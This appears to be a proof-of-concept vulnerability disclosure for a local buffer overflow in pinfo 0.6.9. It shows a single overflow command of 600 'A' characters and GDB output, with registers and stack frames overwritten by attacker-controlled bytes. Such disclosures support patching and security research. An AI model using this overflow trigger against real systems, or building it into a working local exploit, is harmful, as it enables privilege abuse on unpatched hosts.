pinfo 0.6.9 – Local Buffer Overflow (PoC)
# Title: pinfo v0.6.9 - Local Buffer Overflow # Author: Nassim Asrir # Researcher at: Henceforth # Author contact: wassline@gmail.com || https://www.linkedin.com/in/nassim-asrir-b73a57122/ # CVE: N/A # Download # $ apt-get install pinfo # POC # For any Question or discussion about this vuln: https://www.facebook.com/asrirnassim/ $ pinfo -m `python -c 'print "A"*600'` Przemek's Info Viewer v0.6.9 Looking for man page... Caught signal 11, bye! Segmentation fault # GDB Output # $ gdb pinfo (gdb) r -m `python -c 'print "A"*600'` Program received signal SIGSEGV, Segmentation fault. __GI_getenv (name=0x7ffff79831aa "RM") at getenv.c:84 84 getenv.c: No such file or directory. (gdb) info registers rax 0x54 84 rbx 0x4141414141414141 4702111234474983745 <==== rcx 0x1a8 424 rdx 0x10 16 rsi 0x7fffffffdaae 140737488345774 rdi 0x7ffff79831a8 140737347334568 rbp 0x7fffffffe0a8 0x7fffffffe0a8 rsp 0x7fffffffda90 0x7fffffffda90 r8 0x0 0 r9 0x20 32 r10 0x1ec 492 r11 0x7ffff796c630 140737347241520 r12 0x4554 17748 r13 0x4 4 r14 0x2 2 r15 0x7ffff79831aa 140737347334570 rip 0x7ffff73c911d 0x7ffff73c911d <__GI_getenv+173> eflags 0x10206 [ PF IF RF ] cs 0x33 51 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 (gdb) where #0 __GI_getenv (name=0x7ffff79831aa "RM") at getenv.c:84 #1 0x00007ffff796c661 in initscr () from /lib/x86_64-linux-gnu/libncursesw.so.5 #2 0x000055555556214a in ?? () #3 0x000055555555f165 in ?? () #4 0x0000555555557552 in ?? () #5 0x4141414141414141 in ?? () #6 0x4141414141414141 in ?? () #7 0x4141414141414141 in ?? () #8 0x4141414141414141 in ?? () #9 0x4141414141414141 in ?? () #10 0x4141414141414141 in ?? () #11 0x4141414141414141 in ?? () #12 0x4141414141414141 in ?? () #13 0x4141414141414141 in ?? () #14 0x4141414141414141 in ?? () #15 0x4141414141414141 in ?? () #16 0x4141414141414141 in ?? () #17 0x4141414141414141 in ?? () #18 0x4141414141414141 in ?? () #19 0x4141414141414141 in ?? () #20 0x4141414141414141 in ?? () #21 0x4141414141414141 in ?? () #22 0x4141414141414141 in ?? () #23 0x4141414141414141 in ?? () #24 0x4141414141414141 in ?? () #25 0x4141414141414141 in ?? () #26 0x4141414141414141 in ?? () #27 0x4141414141414141 in ?? () #28 0x4141414141414141 in ?? () #29 0x4141414141414141 in ?? () #30 0x4141414141414141 in ?? () #31 0x4141414141414141 in ?? () #32 0x4141414141414141 in ?? () #33 0x4141414141414141 in ?? () #34 0x4141414141414141 in ?? () #35 0x4141414141414141 in ?? () #36 0x4141414141414141 in ?? () #37 0x4141414141414141 in ?? () #38 0x4141414141414141 in ?? () #39 0x4141414141414141 in ?? () #40 0x4141414141414141 in ?? () #41 0x00007fffffff0020 in ?? () #42 0x00007fffffffebaa in ?? () ---Type <return> to continue, or q <return> to quit--- #43 0x00007fffffffebc2 in ?? () #44 0x00007fffffffebd6 in ?? () #45 0x00007fffffffebe1 in ?? () #46 0x00007fffffffec07 in ?? () #47 0x00007fffffffec18 in ?? () #48 0x00007fffffffec48 in ?? () #49 0x00007fffffffec52 in ?? () #50 0x00007fffffffec73 in ?? () #51 0x00007fffffffec7d in ?? () #52 0x00007fffffffec86 in ?? () #53 0x00007fffffffec91 in ?? () #54 0x00007fffffffeca4 in ?? () #55 0x00007fffffffecb7 in ?? () #56 0x00007fffffffeccc in ?? () #57 0x00007fffffffed08 in ?? () #58 0x00007fffffffed33 in ?? () #59 0x00007fffffffed58 in ?? () #60 0x00007fffffffed63 in ?? () #61 0x00007fffffffed74 in ?? () #62 0x00007fffffffed84 in ?? () #63 0x00007fffffffed8f in ?? () #64 0x00007fffffffedc3 in ?? () #65 0x00007fffffffeddc in ?? () #66 0x00007fffffffee0d in ?? () #67 0x00007fffffffee30 in ?? () #68 0x00007fffffffee3f in ?? () #69 0x00007fffffffee47 in ?? () #70 0x00007fffffffee59 in ?? () #71 0x00007fffffffee75 in ?? () #72 0x00007fffffffee82 in ?? () #73 0x00007fffffffeeb5 in ?? () #74 0x00007fffffffeed1 in ?? () #75 0x00007fffffffeeee in ?? () #76 0x00007fffffffef28 in ?? () #77 0x00007fffffffef97 in ?? () #78 0x0000000000000000 in ?? () |